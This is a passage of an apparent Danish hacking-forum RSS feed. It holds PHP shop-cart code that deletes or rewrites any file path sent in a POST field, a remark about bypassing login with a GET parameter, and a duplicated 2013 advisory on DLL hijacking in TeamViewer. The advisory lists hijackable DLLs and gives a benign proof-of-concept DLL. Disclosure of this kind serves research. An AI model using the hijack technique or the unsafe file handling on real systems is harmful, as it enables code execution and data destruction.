<div class="codeblock phpcodeblock"><div class="title">PHP kode:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;cart_file&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'cart_file'</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">&#36;coption&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'coption'</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">&#36;del_crtfile&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'del_crtfile'</span><span style="color: #007700">];<br />if&nbsp;(</span><span style="color: #0000BB">&#36;func&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #DD0000">"delete_cart_options"</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;udfile&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">&#36;cart_file</span><span style="color: #007700">;<br />&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">&#36;del_crtfile&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;(!</span><span style="color: #0000BB">unlink</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;cart_file</span><span style="color: #007700">))&nbsp;;<br />&nbsp;&nbsp;}else{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;udfile</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;coption</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">&#36;newdata</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;fp&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;udfile</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"w+"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">&#36;fw&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fwrite</span><span style="color: #007700">(&nbsp;</span><span style="color: #0000BB">&#36;fp</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">&#36;newdata&nbsp;</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fclose</span><span style="color: #007700">(&nbsp;</span><span style="color: #0000BB">&#36;fp&nbsp;</span><span style="color: #007700">);<br />&nbsp;&nbsp;}<br />}&nbsp;<br /></span></code></div></div></div>Har kun testet Joomla sider, men er overbevist om, at samme fejl er til at finde paa WP pluginet. Alt koden er usikkert. Der kan logges paa ved at saette et GET parameter til 1, men det her var umiddelbart den stoerste fejl, der var.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[TeamViwer V8.0.16642 Insecure Library Load]]></title>
			<link>https://www.shellsec.pw/traad-teamviwer-v8-0-16642-insecure-library</link>
			<pubDate>Sun, 24 Feb 2013 22:36:31 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-teamviwer-v8-0-16642-insecure-library</guid>
			<description><![CDATA[Ville lige dele denne exploit herinde, da det jo kunne være nogen som ville lege lidt med den. :P<br />
<br />
<hr class="mycode_hr" />
<br />
1. RÅDGIVENDE INFORMATION<br />
-----------------------<br />
Produkt: TeamViwer V8.0.16642 Insecure Library Load<br />
Vendor URL: <a href="http://www.teamviewer.com/fr/index.aspx" target="_blank" rel="noopener" class="mycode_url">http://www.teamviewer.com/fr/index.aspx</a><br />
Dato fundet: 2013/02/24<br />
Offentliggjort den: 2013/02/24<br />
  <br />
2. CREDITS<br />
----------<br />
Denne sårbarhed blev opdaget og undersøgt af The Black Devils<br />
# Youtube: <a href="http://www.youtube.com/user/Th3BlackDevils" target="_blank" rel="noopener" class="mycode_url">www.youtube.com/user/Th3BlackDevils</a><br />
# Facebook: <a href="http://www.facebook.com" target="_blank" rel="noopener" class="mycode_url">www.facebook.com</a> / DevilsDz<br />
# Email: mr.k4rizma @ gmail.com<br />
  <br />
3. VERSIONER PÅVIRKET<br />
--------------------<br />
TeamViwer V8.0.16642, kan ældre versioner blive påvirket også.<br />
  <br />
  <br />
4. SÅRBARHED BESKRIVELSE<br />
----------------------------<br />
En Insecure Library Load sårbarhed er blevet identificeret i <br />
TeamViwer V8.0.16642.<br />
  <br />
Programmet bruger en fast sti for at lede efter bestemte filer eller<br />
biblioteker. Denne sti indeholder mapper, der ikke kræver speciel tillid<br />
eller under brugerkontrol.<br />
  <br />
Ved at placere en custom version af et bibliotek i program stien,<br />
Programmet vil indlæse den før den legitime version. Dette giver en<br />
hacker tilladelse til at inject brugerdefineret kode, der vil blive kørt med det <br />
privilegium programmet eller brugeren kørslen af ​​programmet. <br />
Følgende biblioteker kan blive kapret på denne måde:<br />
  <br />
LPK.dll<br />
SETUPAPI.dll<br />
SHFOLDER.dll<br />
CLBCATQ.DLL<br />
Secur32.dll<br />
  <br />
  <br />
5. PROOF-OF-CONCEPT (Kode / Exploit)<br />
------------------------------------<br />
<pre class="line-numbers"><code class="language-cpp">// wine gcc -Wall -shared inject.c -o SETUPAPI.dll<br />
#include &lt;windows.h&gt;<br />
  <br />
BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpvReserved)<br />
{<br />
    if (dwReason == DLL_PROCESS_ATTACH)<br />
    {<br />
        MessageBox(0,"Inj3ctor","The Black Devils", 0);<br />
    }<br />
return TRUE;<br />
}<br />
</code></pre>]]></description>
			<content:encoded><![CDATA[Ville lige dele denne exploit herinde, da det jo kunne være nogen som ville lege lidt med den. :P<br />
<br />
<hr class="mycode_hr" />
<br />
1. RÅDGIVENDE INFORMATION<br />
-----------------------<br />
Produkt: TeamViwer V8.0.16642 Insecure Library Load<br />
Vendor URL: <a href="http://www.teamviewer.com/fr/index.aspx" target="_blank" rel="noopener" class="mycode_url">http://www.teamviewer.com/fr/index.aspx</a><br />
Dato fundet: 2013/02/24<br />
Offentliggjort den: 2013/02/24<br />
  <br />
2. CREDITS<br />
----------<br />
Denne sårbarhed blev opdaget og undersøgt af The Black Devils<br />
# Youtube: <a href="http://www.youtube.com/user/Th3BlackDevils" target="_blank" rel="noopener" class="mycode_url">www.youtube.com/user/Th3BlackDevils</a><br />
# Facebook: <a href="http://www.facebook.com" target="_blank" rel="noopener" class="mycode_url">www.facebook.com</a> / DevilsDz<br />
# Email: mr.k4rizma @ gmail.com<br />
  <br />
3. VERSIONER PÅVIRKET<br />
--------------------<br />
TeamViwer V8.0.16642, kan ældre versioner blive påvirket også.<br />
  <br />
  <br />
4. SÅRBARHED BESKRIVELSE<br />
----------------------------<br />
En Insecure Library Load sårbarhed er blevet identificeret i <br />
TeamViwer V8.0.16642.<br />
  <br />
Programmet bruger en fast sti for at lede efter bestemte filer eller<br />
biblioteker. Denne sti indeholder mapper, der ikke kræver speciel tillid<br />
eller under brugerkontrol.<br />
  <br />
Ved at placere en custom version af et bibliotek i program stien,<br />
Programmet vil indlæse den før den legitime version. Dette giver en<br />
hacker tilladelse til at inject brugerdefineret kode, der vil blive kørt med det <br />
privilegium programmet eller brugeren kørslen af ​​programmet. <br />
Følgende biblioteker kan blive kapret på denne måde:<br />
  <br />
LPK.dll<br />
SETUPAPI.dll<br />
SHFOLDER.dll<br />
CLBCATQ.DLL<br />
Secur32.dll<br />
  <br />
  <br />
5. PROOF-OF-CONCEPT (Kode / Exploit)<br />
------------------------------------<br />
<pre class="line-numbers"><code class="language-cpp">// wine gcc -Wall -shared inject.c -o SETUPAPI.dll<br />
#include &lt;windows.h&gt;<br />
  <br />
BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpvReserved)<br />
{<br />
    if (dwReason == DLL_PROCESS_ATTACH)<br />
    {<br />
        MessageBox(0,"Inj3ctor","The Black Devils", 0);<br />
    }<br />
return TRUE;<br />
}<br />
</code></pre>]]></content:encoded>
		</item>
	</channel>
</rss>